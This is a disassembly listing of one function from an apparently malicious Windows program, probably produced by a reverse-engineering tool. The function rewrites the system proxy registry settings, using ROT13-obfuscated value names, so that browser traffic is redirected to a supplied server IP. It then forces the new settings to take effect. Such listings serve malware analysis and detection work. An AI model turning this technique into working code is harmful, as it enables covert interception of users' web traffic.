Function at 0x401ae0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x444
mov eax, dword [0x422330]
push ebx
mov dword [esp + 0x444], eax
mov eax, dword [ebp + 0x1c]
xor ebx, ebx
cmp eax, ebx
push esi
push edi
jne 0x401b26
push str._nServer_ip_empty__returning_n
call fcn.0040a180
mov eax, dword [ebp + 0x20]
add esp, 4
cmp eax, 0x10
jb 0x401f24
mov eax, dword [ebp + 0xc]
push eax
jmp 0x401f1c
xor eax, eax
mov byte [esp + 0x248], bl
mov ecx, 0x3f
lea edi, [esp + 0x249]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov byte [esp + 0x148], bl
mov ecx, 0x3f
lea edi, [esp + 0x149]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [esp + 0xe0], bl
xor eax, eax
mov ecx, 0x18
lea edi, [esp + 0xe1]
rep stosd dword es:[edi], eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionInternet_SettingsConnections
stosw word es:[edi], ax
lea ecx, [esp + 0x24c]
push 0x41b38c
mov esi, 0xff
push ecx
mov dword [esp + 0x1c], esi
stosb byte es:[edi], al
call fcn.00411af5
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 1
push ebx
lea eax, [esp + 0x254]
push eax
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
jae 0x401bbc
lea eax, [ebp + 0xc]
push eax
lea ecx, [esp + 0xe4]
push str.http_s:80
push ecx
call fcn.00411af5
mov ecx, dword [esp + 0x18]
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x15c]
push eax
push ebx
mov dword [esp + 0x2c], esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
push ecx
mov byte [esp + 0x168], bl
mov edi, 1
call esi
test eax, eax
jne 0x401c57
jmp 0x401c10
lea edx, [esp + 0xe0]
push edx
lea eax, [esp + 0x14c]
push eax
call fcn.004017c0
add esp, 8
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x15c]
mov eax, edi
push edx
push eax
mov eax, dword [esp + 0x28]
push eax
mov byte [esp + 0x168], bl
mov dword [esp + 0x30], 0xff
inc edi
call esi
test eax, eax
je 0x401c10
xor eax, eax
xor edx, edx
mov byte [esp + 0x348], bl
mov dword [esp + 0xc1], edx
mov ecx, 0x3f
lea edi, [esp + 0x349]
rep stosd dword es:[edi], eax
xor ecx, ecx
stosw word es:[edi], ax
mov dword [esp + 0xa1], ecx
xor eax, eax
mov dword [esp + 0xa5], ecx
mov dword [esp + 0x81], eax
mov dword [esp + 0xa9], ecx
mov dword [esp + 0xc5], edx
mov dword [esp + 0x85], eax
mov dword [esp + 0xad], ecx
mov dword [esp + 0xc9], edx
mov dword [esp + 0x89], eax
mov dword [esp + 0xb1], ecx
mov dword [esp + 0xcd], edx
mov dword [esp + 0x8d], eax
mov dword [esp + 0xb5], ecx
mov dword [esp + 0xb9], ecx
mov dword [esp + 0xd1], edx
mov dword [esp + 0x91], eax
mov byte [esp + 0xbd], cl
mov dword [esp + 0xd5], edx
mov dword [esp + 0x95], eax
mov dword [esp + 0xd9], edx
mov dword [esp + 0x99], eax
mov dword [esp + 0x61], ecx
mov byte [esp + 0xdd], dl
mov byte [esp + 0x9d], al
mov dword [esp + 0x65], ecx
mov dword [esp + 0x41], edx
mov dword [esp + 0x21], eax
mov dword [esp + 0x69], ecx
mov dword [esp + 0x45], edx
mov dword [esp + 0x25], eax
mov dword [esp + 0x6d], ecx
mov dword [esp + 0x49], edx
mov dword [esp + 0x29], eax
mov dword [esp + 0x71], ecx
mov dword [esp + 0x4d], edx
mov dword [esp + 0x2d], eax
mov dword [esp + 0x75], ecx
mov dword [esp + 0x79], ecx
mov dword [esp + 0x51], edx
mov dword [esp + 0x31], eax
push str._local_
mov byte [esp + 0x81], cl
mov dword [esp + 0x59], edx
mov dword [esp + 0x39], eax
lea ecx, [esp + 0x24]
mov dword [esp + 0x5d], edx
mov dword [esp + 0x3d], eax
mov esi, 1
push 0x41b38c
push ecx
mov byte [esp + 0xac], bl
mov byte [esp + 0xcc], bl
mov byte [esp + 0x8c], bl
mov byte [esp + 0x6c], bl
mov byte [esp + 0x4c], bl
mov byte [esp + 0x69], dl
mov byte [esp + 0x2c], bl
mov byte [esp + 0x49], al
mov dword [esp + 0x20], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], ebx
call fcn.00411af5
lea edx, [esp + 0xcc]
push str.CebklFreire
push edx
call fcn.00404140
lea eax, [esp + 0xb4]
push str.CebklRanoyr
push eax
call fcn.00404140
push str.ZvtengrCebkl
lea ecx, [esp + 0xa0]
push ecx
call fcn.00404140
lea edx, [esp + 0x84]
push str.CebklUggc1.1
push edx
call fcn.00404140
lea eax, [esp + 0x6c]
push str.CebklBireevqr
push eax
call fcn.00404140
lea ecx, [esp + 0x37c]
push str.FBSGJNERZvpebfbsgJvaqbjfPheeragIrefvbaVagrearg_Frggvatf
push ecx
call fcn.00404140
add esp, 0x3c
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x34c]
push eax
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [esp + 0xe0]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401e55
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub eax, edx
inc eax
push eax
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0xe4]
push ecx
push esi
push ebx
lea edx, [esp + 0xd0]
push edx
push eax
call edi
lea eax, [esp + 0x20]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401e86
sub eax, esi
inc eax
push eax
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x24]
push ecx
push 1
push ebx
lea edx, [esp + 0x50]
push edx
push eax
call edi
mov eax, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 4
push ebx
lea edx, [esp + 0xb0]
push edx
push eax
call edi
mov eax, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x20]
push ecx
push 4
push ebx
lea edx, [esp + 0x90]
push edx
push eax
call edi
mov eax, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x1c]
push ecx
push 4
push ebx
lea edx, [esp + 0x70]
push edx
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push ebx
push 0x27
push ebx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push ebx
push ebx
push 0x1a
push 0xffff
call dword [sym.imp.USER32.dll_SendNotifyMessageA]
cmp dword [ebp + 0x20], 0x10
jb 0x401f24
mov edx, dword [ebp + 0xc]
push edx
call fcn.00412292
add esp, 4
mov ecx, dword [esp + 0x44c]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret